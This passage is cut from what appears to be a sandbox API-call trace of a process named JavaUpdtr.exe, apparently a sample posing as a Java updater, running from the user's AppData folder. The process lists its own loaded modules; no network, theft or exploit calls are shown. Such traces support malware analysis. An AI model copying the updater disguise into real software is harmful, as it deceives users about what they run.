(hObject=0x200) returned 1 [0116.096] GetLastError () returned 0x7f [0116.108] GetCurrentProcessId () returned 0x4e8 [0116.108] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4e8) returned 0x200 [0116.108] GetLastError () returned 0x7f [0116.108] EnumProcessModules (in: hProcess=0x200, lphModule=0x277d73c, cb=0x100, lpcbNeeded=0x31c9a8 | out: lphModule=0x277d73c, lpcbNeeded=0x31c9a8) returned 1 [0116.109] GetLastError () returned 0x7f [0116.109] GetModuleInformation (in: hProcess=0x200, hModule=0xd40000, lpmodinfo=0x277d87c, cb=0xc | out: lpmodinfo=0x277d87c*(lpBaseOfDll=0xd40000, SizeOfImage=0xb0000, EntryPoint=0xd91d7e)) returned 1 [0116.109] GetLastError () returned 0x7f [0116.109] GetModuleBaseNameW (in: hProcess=0x200, hModule=0xd40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="JavaUpdtr.exe") returned 0xd [0116.109] GetLastError () returned 0x7f [0116.109] GetModuleFileNameExW (in: hProcess=0x200, hModule=0xd40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Java\\JavaUpdtr.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\java\\javaupdtr.exe")) returned 0x40 [0116.109] GetLastError () returned 0x7f [0116.109] GetModuleInformation (in: hProcess=0x200, hModule=0x77ac0000, lpmodinfo=0x277e9e0, cb=0xc | out: lpmodinfo=0x277e9e0*(lpBaseOfDll=0x77ac0000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0116.109] GetLastError () returned 0x7f [0116.110] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x77ac0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0116.110] GetLastError () returned 0x7f [0116.110] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x77ac0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0116.110] GetLastError () returned 0x7f [0116.110] GetModuleInformation (in: hProcess=0x200, hModule=0x73cc0000, lpmodinfo=0x277fad4, cb=0xc | out: lpmodinfo=0x277fad4*(lpBaseOfDll=0x73cc0000, SizeOfImage=0x4a000, EntryPoint=0x73cc2e54)) returned 1 [0116.110] GetLastError () returned 0x7f [0116.110] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x73cc0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0116.110] GetLastError () returned 0x7f [0116.110] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x73cc0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0116.111] GetLastError () returned 0x7f [0116.111] GetModuleInformation (in: hProcess=0x200, hModule=0x75930000, lpmodinfo=0x2780bd0, cb=0xc | out: lpmodinfo=0x2780bd0*(lpBaseOfDll=0x75930000, SizeOfImage=0x110000, EntryPoint=0x759432d3)) returned 1 [0116.111] GetLastError () returned 0x7f [0116.111] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75930000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0116.111] GetLastError () returned 0x7f [0116.111] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75930000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0116.111] GetLastError () returned 0x7f [0116.111] GetModuleInformation (in: hProcess=0x200, hModule=0x77670000, lpmodinfo=0x2781cd4, cb=0xc | out: lpmodinfo=0x2781cd4*(lpBaseOfDll=0x77670000, SizeOfImage=0x46000, EntryPoint=0x77677478)) returned 1 [0116.112] GetLastError () returned 0x7f [0116.112] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x77670000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0116.112] GetLastError () returned 0x7f [0116.112] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x77670000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0116.112] GetLastError () returned 0x7f [0116.112] GetModuleInformation (in: hProcess=0x200, hModule=0x75db0000, lpmodinfo=0x2782e10, cb=0xc | out: lpmodinfo=0x2782e10*(lpBaseOfDll=0x75db0000, SizeOfImage=0xa0000, EntryPoint=0x75dc49e5)) returned 1 [0116.112] GetLastError () returned 0x7f [0116.112] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75db0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0116.113] GetLastError () returned 0x7f [0116.113] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75db0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0116.113] GetLastError () returned 0x7f [0116.113] GetModuleInformation (in: hProcess=0x200, hModule=0x76d40000, lpmodinfo=0x2783f14, cb=0xc | out: lpmodinfo=0x2783f14*(lpBaseOfDll=0x76d40000, SizeOfImage=0xac000, EntryPoint=0x76d4a472)) returned 1 [0116.113] GetLastError () returned 0x7f [0116.113] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x76d40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0116.113] GetLastError () returned 0x7f [0116.113] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x76d40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0116.114] GetLastError () returned 0x7f [0116.114] GetModuleInformation (in: hProcess=0x200, hModule=0x76ec0000, lpmodinfo=0x2785010, cb=0xc | out: lpmodinfo=0x2785010*(lpBaseOfDll=0x76ec0000, SizeOfImage=0x19000, EntryPoint=0x76ec4975)) returned 1 [0116.114] GetLastError () returned 0x7f [0116.114] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x76ec0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0116.114] GetLastError () returned 0x7f [0116.114] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x76ec0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0116.115] GetLastError () returned 0x7f [0116.115] GetModuleInformation (in: hProcess=0x200, hModule=0x75e50000, lpmodinfo=0x278610c, cb=0xc | out: lpmodinfo=0x278610c*(lpBaseOfDll=0x75e50000, SizeOfImage=0xf0000, EntryPoint=0x75e60569)) returned 1 [0116.115] GetLastError () returned 0x7f [0116.115] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75e50000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0116.115] GetLastError () returned 0x7f [0116.115] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75e50000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0116.115] GetLastError () returned 0x7f [0116.116] GetModuleInformation (in: hProcess=0x200, hModule=0x75620000, lpmodinfo=0x2787258, cb=0xc | out: lpmodinfo=0x2787258*(lpBaseOfDll=0x75620000, SizeOfImage=0x60000, EntryPoint=0x7563a3b3)) returned 1 [0116.116] GetLastError () returned 0x7f [0116.116] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75620000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0116.116] GetLastError () returned 0x7f [0116.116] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75620000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0116.116] GetLastError () returned 0x7f [0116.117] GetModuleInformation (in: hProcess=0x200, hModule=0x75610000, lpmodinfo=0x2788354, cb=0xc | out: lpmodinfo=0x2788354*(lpBaseOfDll=0x75610000, SizeOfImage=0xc000, EntryPoint=0x756110e1)) returned 1 [0116.117] GetLastError () returned 0x7f [0116.117] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75610000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0116.117] GetLastError () returned 0x7f [0116.117] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75610000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0116.117] GetLastError () returned 0x7f [0116.118] GetModuleInformation (in: hProcess=0x200, hModule=0x737a0000, lpmodinfo=0x2789458, cb=0xc | out: lpmodinfo=0x2789458*(lpBaseOfDll=0x737a0000, SizeOfImage=0x78000, EntryPoint=0x737af7ba)) returned 1 [0116.118] GetLastError () returned 0x7f [0116.118] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x737a0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0116.118] GetLastError () returned 0x7f [0116.118] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x737a0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0116.119] GetLastError () returned 0x7f [0116.119] GetModuleInformation (in: hProcess=0x200, hModule=0x75ba0000, lpmodinfo=0x278a590, cb=0xc | out: lpmodinfo=0x278a590*(lpBaseOfDll=0x75ba0000, SizeOfImage=0x57000, EntryPoint=0x75bb9ba6)) returned 1 [0116.119] GetLastError () returned 0x7f [0116.119] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75ba0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0116.119] GetLastError () returned 0x7f [0116.119] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75ba0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0116.120] GetLastError () returned 0x7f [0116.120] GetModuleInformation (in: hProcess=0x200, hModule=0x75c40000, lpmodinfo=0x278b68c, cb=0xc | out: lpmodinfo=0x278b68c*(lpBaseOfDll=0x75c40000, SizeOfImage=0x90000, EntryPoint=0x75c56343)) returned 1 [0116.120] GetLastError () returned 0x7f [0116.120] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75c40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0116.121] GetLastError () returned 0x7f [0116.121] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75c40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0116.121] GetLastError () returned 0x7f [0116.121] GetModuleInformation (in: hProcess=0x200, hModule=0x75a40000, lpmodinfo=0x278c780, cb=0xc | out: lpmodinfo=0x278c780*(lpBaseOfDll=0x75a40000, SizeOfImage=0x100000, EntryPoint=0x75a5b6ed)) returned 1 [0116.122] GetLastError () returned 0x7f [0116.122] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75a40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0116.122] GetLastError () returned 0x7f [0116.122] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75a40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0116.122] GetLastError () returned 0x7f [0116.123] GetModuleInformation (in: hProcess=0x200, hModule=0x75c00000, lpmodinfo=0x278d87c, cb=0xc | out: lpmodinfo=0x278d87c*(lpBaseOfDll=0x75c00000, SizeOfImage=0xa000, EntryPoint=0x75c036a0)) returned 1 [0116.123] GetLastError () returned 0x7f [0116.123] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75c00000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0116.123] GetLastError () returned 0x7f [0116.123] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75c00000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0116.124] GetLastError () returned 0x7f [0116.124] GetModuleInformation (in: hProcess=0x200, hModule=0x76ee0000, lpmodinfo=0x278e968, cb=0xc | out: lpmodinfo=0x278e968*(lpBaseOfDll=0x76ee0000, SizeOfImage=0x9d000, EntryPoint=0x76f13fd7)) returned 1 [0116.124] GetLastError () returned 0x7f [0116.124] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x76ee0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0116.125] GetLastError () returned 0x7f [0116.125] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x76ee0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0116.125] GetLastError () returned 0x7f [0116.125] GetModuleInformation (in: hProcess=0x200, hModule=0x758d0000, lpmodinfo=0x278faec, cb=0xc | out: lpmodinfo=0x278faec*(lpBaseOfDll=0x758d0000, SizeOfImage=0x60000, EntryPoint=0x758e158f)) returned 1 [0116.125] GetLastError () returned 0x7f [0116.125] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x758d0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0116.126] GetLastError () returned 0x7f [0116.126] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x758d0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0116.126] GetLastError () returned 0x7f [0116.126] GetModuleInformation (in: hProcess=0x200, hModule=0x76df0000, lpmodinfo=0x2790be0, cb=0xc | out: lpmodinfo=0x2790be0*(lpBaseOfDll=0x76df0000, SizeOfImage=0xcc000, EntryPoint=0x76df168b)) returned 1 [0116.127] GetLastError () returned 0x7f [0116.127] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x76df0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0116.127] GetLastError () returned 0x7f [0116.127] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x76df0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0116.128] GetLastError () returned 0x7f [0116.128] GetModuleInformation (in: hProcess=0x200, hModule=0x75430000, lpmodinfo=0x2791cd4, cb=0xc | out: lpmodinfo=0x2791cd4*(lpBaseOfDll=0x75430000, SizeOfImage=0x9000, EntryPoint=0x75431220)) returned 1 [0116.128] GetLastError () returned 0x7f [0116.128] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75430000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0116.129] GetLastError () returned 0x7f [0116.129] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75430000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0116.129] GetLastError () returned 0x7f [0116.129] GetModuleInformation (in: hProcess=0x200, hModule=0x749d0000, lpmodinfo=0x2792dd0, cb=0xc | out: lpmodinfo=0x2792dd0*(lpBaseOfDll=0x749d0000, SizeOfImage=0x5ab000, EntryPoint=0x74a23dc0)) returned 1 [0116.130] GetLastError () returned 0x7f [0116.130] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x749d0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscorwks.dll") returned 0xc [0116.130] GetLastError () returned 0x7f [0116.130] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x749d0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")) returned 0x3a [0116.131] GetLastError () returned 0x7f [0116.131] GetModuleInformation (in: hProcess=0x200, hModule=0x75390000, lpmodinfo=0x2793f08, cb=0xc | out: lpmodinfo=0x2793f08*(lpBaseOfDll=0x75390000, SizeOfImage=0x9b000, EntryPoint=0x7539232b)) returned 1 [0116.131] GetLastError () returned 0x7f [0116.131] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75390000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="MSVCR80.dll") returned 0xb [0116.132] GetLastError () returned 0x7f [0116.132] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75390000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\MSVCR80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")) returned 0x6a [0116.132] GetLastError () returned 0x7f [0116.132] GetModuleInformation (in: hProcess=0x200, hModule=0x75f40000, lpmodinfo=0x279509c, cb=0xc | out: lpmodinfo=0x279509c*(lpBaseOfDll=0x75f40000, SizeOfImage=0xc4a000, EntryPoint=0x75fc1601)) returned 1 [0116.133] GetLastError () returned 0x7f [0116.133] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75f40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="shell32.dll") returned 0xb [0116.133] GetLastError () returned 0x7f [0116.133] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75f40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")) returned 0x1f [0116.134] GetLastError () returned 0x7f [0116.134] GetModuleInformation (in: hProcess=0x200, hModule=0x75770000, lpmodinfo=0x2796198, cb=0xc | out: lpmodinfo=0x2796198*(lpBaseOfDll=0x75770000, SizeOfImage=0x15c000, EntryPoint=0x757bba3d)) returned 1 [0116.134] GetLastError () returned 0x7f [0116.134] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75770000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0116.135] GetLastError () returned 0x7f [0116.135] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75770000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0116.135] GetLastError () returned 0x7f [0116.135] GetModuleInformation (in: hProcess=0x200, hModule=0x75290000, lpmodinfo=0x279728c, cb=0xc | out: lpmodinfo=0x279728c*(lpBaseOfDll=0x75290000, SizeOfImage=0xb000, EntryPoint=0x75291992)) returned 1 [0116.143] GetLastError () returned 0x7f [0116.143] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75290000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="profapi.dll") returned 0xb [0116.143] GetLastError () returned 0x7f [0116.144] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75290000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")) returned 0x1f [0116.144] GetLastError () returned 0x7f [0116.144] GetModuleInformation (in: hProcess=0x200, hModule=0x72ac0000, lpmodinfo=0x2798388, cb=0xc | out: lpmodinfo=0x2798388*(lpBaseOfDll=0x72ac0000, SizeOfImage=0xaf8000, EntryPoint=0x0)) returned 1 [0116.145] GetLastError () returned 0x7f [0116.145] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x72ac0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0116.145] GetLastError () returned 0x7f [0116.145] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x72ac0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll")) returned 0x68 [0116.146] GetLastError () returned 0x7f [0116.146] GetModuleInformation (in: hProcess=0x200, hModule=0x75440000, lpmodinfo=0x2799520, cb=0xc | out: lpmodinfo=0x2799520*(lpBaseOfDll=0x75440000, SizeOfImage=0x80000, EntryPoint=0x754537c9)) returned 1 [0116.146] GetLastError () returned 0x7f [0116.147] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75440000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0116.147] GetLastError () returned 0x7f [0116.147] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75440000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0116.148] GetLastError () returned 0x7f [0116.148] GetModuleInformation (in: hProcess=0x200, hModule=0x75230000, lpmodinfo=0x279a61c, cb=0xc | out: lpmodinfo=0x279a61c*(lpBaseOfDll=0x75230000, SizeOfImage=0x5b000, EntryPoint=0x75274d48)) returned 1 [0116.148] GetLastError () returned 0x7f [0116.148] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75230000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscorjit.dll") returned 0xc [0116.149] GetLastError () returned 0x7f [0116.149] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75230000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorjit.dll")) returned 0x3a [0116.149] GetLastError () returned 0x7f [0116.150] GetModuleInformation (in: hProcess=0x200, hModule=0x72320000, lpmodinfo=0x279b754, cb=0xc | out: lpmodinfo=0x279b754*(lpBaseOfDll=0x72320000, SizeOfImage=0x79c000, EntryPoint=0x0)) returned 1 [0116.150] GetLastError () returned 0x7f [0116.150] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x72320000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0116.151] GetLastError () returned 0x7f [0116.151] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x72320000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\system.ni.dll")) returned 0x64 [0116.151] GetLastError () returned 0x7f [0116.151] GetModuleInformation (in: hProcess=0x200, hModule=0x750a0000, lpmodinfo=0x279c8e0, cb=0xc | out: lpmodinfo=0x279c8e0*(lpBaseOfDll=0x750a0000, SizeOfImage=0x188000, EntryPoint=0x0)) returned 1 [0116.152] GetLastError () returned 0x7f [0116.152] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x750a0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0116.153] GetLastError () returned 0x7f [0116.153] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x750a0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\system.drawing.ni.dll")) returned 0x74 [0116.153] GetLastError () returned 0x7f [0116.153] GetModuleInformation (in: hProcess=0x200, hModule=0x74830000, lpmodinfo=0x279da9c, cb=0xc | out: lpmodinfo=0x279da9c*(lpBaseOfDll=0x74830000, SizeOfImage=0x19b000, EntryPoint=0x0)) returned 1 [0116.154] GetLastError () returned 0x7f [0116.154] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74830000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c [0116.154] GetLastError () returned 0x7f [0116.155] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74830000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualBas#\\08d608378aa405adc844f3cf36974b8c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualbas#\\08d608378aa405adc844f3cf36974b8c\\microsoft.visualbasic.ni.dll")) returned 0x81 [0116.155] GetLastError () returned 0x7f [0116.155] GetModuleInformation (in: hProcess=0x200, hModule=0x746a0000, lpmodinfo=0x279ec80, cb=0xc | out: lpmodinfo=0x279ec80*(lpBaseOfDll=0x746a0000, SizeOfImage=0x190000, EntryPoint=0x7473d026)) returned 1 [0116.156] GetLastError () returned 0x7f [0116.156] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x746a0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="gdiplus.dll") returned 0xb [0116.156] GetLastError () returned 0x7f [0116.156] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x746a0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll")) returned 0x71 [0116.157] GetLastError () returned 0x7f [0116.157] GetModuleInformation (in: hProcess=0x200, hModule=0x74fa0000, lpmodinfo=0x279fe20, cb=0xc | out: lpmodinfo=0x279fe20*(lpBaseOfDll=0x74fa0000, SizeOfImage=0xfb000, EntryPoint=0x74fb17e1)) returned 1 [0116.158] GetLastError () returned 0x7f [0116.158] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74fa0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="WindowsCodecs.dll") returned 0x11 [0116.158] GetLastError () returned 0x7f [0116.158] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74fa0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll")) returned 0x25 [0116.159] GetLastError () returned 0x7f [0116.159] GetModuleInformation (in: hProcess=0x200, hModule=0x75700000, lpmodinfo=0x27a1044, cb=0xc | out: lpmodinfo=0x27a1044*(lpBaseOfDll=0x75700000, SizeOfImage=0x5000, EntryPoint=0x75701438)) returned 1 [0116.160] GetLastError () returned 0x7f [0116.160] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75700000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0116.160] GetLastError () returned 0x7f [0116.161] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75700000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d [0116.161] GetLastError () returned 0x7f [0116.162] CloseHandle (hObject=0x200) returned 1 [0116.162] GetLastError () returned 0x7f [0116.191] GetCurrentProcessId () returned 0x4e8 [0116.191] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4e8) returned 0x200 [0116.191] GetLastError () returned 0x7f [0116.191] EnumProcessModules (in: hProcess=0x200, lphModule=0x26835b0, cb=0x100, 